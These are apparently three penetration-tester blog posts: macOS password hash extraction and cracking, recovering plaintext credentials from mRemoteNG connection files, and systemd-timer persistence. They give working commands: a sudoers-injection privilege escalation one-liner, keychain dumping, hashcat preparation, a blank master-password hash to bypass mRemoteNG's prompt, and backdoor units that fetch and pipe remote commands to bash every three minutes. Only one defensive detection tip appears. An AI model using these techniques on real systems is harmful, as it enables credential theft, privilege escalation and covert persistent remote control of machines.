Mac OSX Password Cracking

Mac OSX Password Cracking

TL;DR: There are several ways to enumerate information from a Mac shell and to collect encrypted credentials for OSX password cracking.

Problem and Rationale

During a recent assessment the client had close to 10,000 Mac OSX systems throughout their global presence. All of these Macs were authenticating to Active Directory and allowed all logged in users local admin rights; via a misconfigured sudoers rule. Since this blog is lacking any real reference material specifically for OSX, I figured I would detail the information gathering and attacks I preformed during the assessment.

Attacks and Methodology

The default base install of Apple OSX will allow the primary user configured on that workstation to sudo to  root. When Active Directory backed authentication is used, newly logged in users can inherit the primary user role if system defaults are not changed. This would effectively make all domain users local admins on all of the affected Macs. This is good news since root level permission is required to pull local password hashes.

If the OSX systems do not use AD authentication don’t fret. By default the SSH server is enabled and it does not have any lock outs on failed login attempts. If all else fails, physical attacks still work very well against OSX. Just walk up to one and hold Command+S during boot to log into a single user root terminal. If the system isn’t using full disk encryption you can simply copy files over to a USB flash drive.

Once you have a terminal on a Mac, it’s good to check user and group memberships. Again, if the user is a part of the admin group they can sudo by default; and if they are part of the wheel group they are effectively root.The following is a list of useful commands to use when in a terminal:

dscl . -list /Users #List local users
dscl . -list /Groups #List local groups
dscl . -read /Groups/<Groupname> #List local group membership
dscl . -read /Users/<usersname> #List a user’s information and settings

Note: The commands above all have a target of ‘.’ or ‘localhost’. If the system is connected to Active Directory it can be queried in a similar manner.To list all Domain Admins use the following command:

dscl /Active\ Directory/<domain>/<domain.local> -list /Groups/Domain\ Admins

If the user doesn’t have sudo or root privileges, you can try to elevate to root privileges with one of several local privilege escalation vulnerabilities. Some recent noteworthy options include CVE-2015-5889, CVE-2015-1130, or just use some of the Yosemite environment variables like the following:

echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s

If the device is up to date on its patches about all one can do is some file pillaging. The two things I would note are Apple scripts (.scpt) and property list (.plist) files are very popular in OSX. Both file types are stored to disk as binary files. As such they need to be converted back to ASCII, to be human readable.
To view the contents of an Apple script file use a command like:

osadecode logon.scpt

To convert a .plist file from binary to its native XML use a command like:

plutil -convert xml1 /path/to/file.plist

Note: plutil will convert files in place, so take care to make copies of files you’re working with.Alternatively the plist files can be exfiltrated to Kali and converted to XML using the libplist-utils library. The conversion command might look something like this:

plistutil -i user.plist -o user.xml

If root level access is acquired, we can go straight after the local user’s plist files. Each user’s plist file contains their individual settings and their encrypted credentials. The directory that contains all local users’ plist files is /private/var/db/dslocal/nodes/Default/users/.
If another user is currently logged into the system, the user’s keychain can be dumped by root. This will provide clear text access to all saved credentials, iCloud keys, the file vault encryption key, and the user’s clear text password. To dump the users keychain use a security command like:

security dump-keychain -d /Users/<user>/Library/Keychains/login.keychain

WARNING: In newer versions of OSX this will generate a dialog box on the user’s screen. This will obviously alert the user and only produce usable output if the user accepts.

OSX Password Cracking

There are several ways to gain access to the encrypted shadow data, which is needed to conduct OSX password cracking. Two of them have already been mentioned above. If you have root access preform a dscl . -read /Users/<user> or if you grab the users plist file from /private/var/db/dslocal/nodes/Default/users/ and covert it to XML, there will be a XML element called ShadowHashData. The ShadowHashData is a base64 encoded blob containing a plist file with the base64 encoded entropy, salt, and iterations within it.

Note: Before the base64 can be cleanly decoded in each of these steps, the XML elements, spaces, and line breaks will need to be removed manually.
The first step is to extract the plist file form the shadow hash data and convert it back to XML. This can be done with the following commands:

echo "<hash data>" | base64 -D > shadowhash
file shadowhash
plutil -convert xml1 shadowhash

Next cleanup and convert the base64 encoded entropy to hex format. This can be done with the following commands:

echo "<entropy data>" | base64 -D > entropy
file entropy
xxd entropy

Third cleanup and convert the base64 encoded salt to hex format. This can be completed with the following set of commands:

echo "<salt data>" | base64 -D > salt
file salt
xxd salt

Next we can put all the hex value strings together into the following hashcat format (7100).

$ml$<iterations>$<salt>$<entropy>

Lastly put that baby in hashcat as OSX v10.8/v10.9 and watch it burn.

./hashcat-cli64.app -m 7100 hash.txt wordlist.txt

As Always:

ICBfICAgXyAgICAgICAgICAgIF8gICAgICBfX19fXyBfICAgICAgICAgICAgX19fXyAgXyAgICAg
ICAgICAgICAgICAgIF8gICANCiB8IHwgfCB8IF9fIF8gIF9fX3wgfCBfXyB8XyAgIF98IHxfXyAg
IF9fXyAgfCAgXyBcfCB8IF9fIF8gXyBfXyAgIF9fX3wgfF8gDQogfCB8X3wgfC8gX2AgfC8gX198
IHwvIC8gICB8IHwgfCAnXyBcIC8gXyBcIHwgfF8pIHwgfC8gX2AgfCAnXyBcIC8gXyBcIF9ffA0K
IHwgIF8gIHwgKF98IHwgKF9ffCAgIDwgICAgfCB8IHwgfCB8IHwgIF9fLyB8ICBfXy98IHwgKF98
IHwgfCB8IHwgIF9fLyB8XyANCiB8X3wgfF98XF9fLF98XF9fX3xffFxfXCAgIHxffCB8X3wgfF98
XF9fX3wgfF98ICAgfF98XF9fLF98X3wgfF98XF9fX3xcX198

mRemoteNG: Just Loaded with “Features”

TL;DR: mRemoteNG uses insecure methods for password storage and can provide droves of valid credentials during an assessment or competition.

Level Set

mRemoteNG (mremote) is an open source project (https://github.com/rmcardle/mRemoteNG) that provides a full-featured, multi-tab remote connections manager. It currently supports RDP, SSH, Telnet, VNC, ICA, HTTP/S,  rlogin, and raw socket connections. Additionally, It also provides the means to save connection settings such as hostnames, IP addresses, protocol, port, and user credentials, in a password protected and encrypted connections file.

Problem

During a recent pentest, I was struggling to gain additional administrative access to key systems ,even with standard user authentication.  However, during some share pillaging I found a backup of an old mRemote connections file. The connections file houses all the information needed to gain remote access to a given system (IP/Hostname, Protocol, Port, Username, and Password). However, the credentials are encrypted, by default, and the connections file was protected by a master password.

Solution

It turns out, the master password is just used by the program to determine whether or not to load in the selected connections file. The stored credentials are actually encrypted with a static string, not the master password. This creates a scenario wherein the master password hash can simply be replaced with a blank password hash, to bypass the master password prompt. Once the connections file is loaded, the program even has the ability to add additional “External tools”, which allow for access to the programs variables and memory space. This allows for simple echo commands to be added to reveal hidden details about each connection, such as the clear text password.

How to Access The Clear Text Credentials

Method 1: Using the Program itself

To start ensure that mRemoteNG is closed or download the portable version of the application.

mRemoteNG Password Prompt

Second navigate to the default mRemoteNG data folder (C:\Users\\AppData\Roaming\mRemoteNG) or acquire the connections configuration file. Alternatively, enter the  path %appdata%/mRemoteNG into Start/Run, to go directly to the default installation location. Or use the portable version of the application, for any backup files you may have discovered while pillaging.

Third open the connections configuration file (by default called confCons.xml) in your favorite text editor.
mRemoteNG Connections file
Then, on the second line, locate the Protected=”a bunch of numbers/letters” string and replace it with the value below.
Protected=”GiUis20DIbnYzWPcdaQKfjE2H5jh//L5v4RGrJMGNXuIq2CttB/d/BxaBP2LwRhY”
Note: This is just a master password hash of blank, to allow for the connections file to be loaded.

mRemoteNG blank master password hash

Next, just re-open mRemoteNG and load the connections file, by simply submitting a blank password to the master password prompt.

mRemoteNG Connection file loaded via blank hash

To see the clear text of a given password, go to “Tools” > “External Tools”. Then right-click in the white space and choose “New External Tool”. Next, in the External Tools Properties, fill in a “Display Name”, “Filename” and some “arguments”, with “Password lookup”, CMD and “/k echo %password%” respectively.

mRemoteNG external tool

Finally, go to the connection where you would like to reveal the connection and right-click on it and choose “External tools” > “Password lookup”.

mRemoteNG external tool shows password

Method 2: Using an Offline Decoder

A modified version of the Metasploit module Ruby code, can be used to get the clear text passwords from within a protected connections file.

The file can be downloaded from packetstorm (https://packetstormsecurity.com/files/126309/mRemoteOffPwdsDecrypt.rb.txt) and run on Kali systems as such:
ruby mRemoteOffPwdsDecrypt.rb confCons.xml

Method 3: Using the Metasploit Post Module

Once you have a meterpreter shell on an administrators system that has mRemoteNG installed, simply run the post module with the following command and enjoy clear text.
run post/windows/gather/credentials/mremote

Note: mRemoteNG is a platform agnostic program, however the post module only works on Windows and will only parse the default connections file (confCons.xml) and location (%appdata%/mRemoteNG).

As always,
w7nDgMKow73CuCU7XsOkScuGXsKrw51Rwq4=

Establishing Persistence with systemd.timers

With the push to covert all of our old init style processes managers to the new cutting-edge systemd, comes a whole new set of security concerns. In several recent competitions, I was able to establish persistence with systemd.timer units. Timer units are designed to run repetitive tasks on behalf of an existing service. This is normally used to establish service watchers, in case a service were to hang of crash. However, we can take advantage of this build-in core functionality to establish near-kernel level persistence with systemd.timers. As an added bonus, it’s a bit more difficult to find then a crontab and there are several tools that can convert existing crontabs to systemd.timers.

In order to take advantage of persistence with systemd.timers, we just need write access to the /etc/systemd/system/ or /usr/lib/systemd/system/ directory. With a user with write access, normally only root, we can create a service unit file and a timer unit file. Once the files are created, we can register the timer unit with systemd and it will execute our service unit, per our timer unit schedule. Timer units can even be registered with systemd to be started at boot automatically, to maintain persistence through reboots.

Example persistence with systemd.timers

To establish persistence with systemd.timers, we first need to create a service unit. In this case I created a file called /etc/systemd/system/backdoor.service, which would connect to a web server and execute a the given command.

[Unit]
Description=Backdoor

[Service]
Type=simple
ExecStart=curl --insecure https://127.0.0.1/cmd.txt|bash

Next I created a timer unit that launches my backdoor.service every 3 mins, to execute my latest CnC commands. The following is the contents of the file, /etc/systemd/system/backdoor.timer, which I used throughout the CCDC competitions.

[Unit]
Description=Runs backdoor ever 3 mins

[Timer]
OnBootSec=5min
OnUnitActiveSec=3min
Unit=backdoor.service

[Install]
WantedBy=multi-user.target

Once those two files are created within one of the systemd unit directories, we can simple establish the persistence with systemd.timer, by starting the unit timer.

systemctl start backdoor.timer

Then to ensure the timer is automatically started a boot, tell systemd to enable the timer unit at startup.

systemctl enable backdoor.timer

As far as I can tell from my research, there isn’t any easy way to detect these types of backdoors. However, in the CCDC competition space, I highly recommend running a command like the following in a screen to identify changes to timer units.

watch -d systemctl list-timers

Example persistence with Single Service Unit

The alterative is to have a single service unit that takes advantage of an exit code of 0; to continuously restart. Bellow is an example of such a service unit file, that will just restart every 3 mins and also execute our CnC command.

[Service]
Type=simple
ExecStart=curl --insecure https://127.0.0.1/cmd.txt|bash; exit 0
Restart=always
RestartSec=180

For more detailed information see the full documentation at: https://www.freedesktop.org/software/systemd/man/ or through your local man pages.